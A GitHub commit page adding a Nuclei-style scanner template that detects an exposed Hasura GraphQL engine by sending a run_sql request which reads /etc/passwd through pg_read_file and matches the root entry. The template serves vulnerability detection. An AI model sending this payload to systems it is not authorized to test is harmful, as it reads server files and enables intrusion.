Merge pull request #2227 from Udyz/patch-5

Create hasura-graphql-sql-exec.yaml
patch-1
Prince Chaddha 2021-08-02 22:25:31 +05:30 committed by GitHub
commit 2491a6a4b7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: hasura-graphql-psql-exec
info:
author: Udyz
name: Hasura GraphQL Engine - postgresql query exec
severity: critical
reference: https://www.exploit-db.com/exploits/49802
tags: hasura,rce
requests:
- raw:
- |
POST /v2/query HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type": "bulk",
"source": "default",
"args":[
{
"type": "run_sql",
"args": {
"source":"default",
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
"cascade": false,
"read_only": false
}
}
]
}
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body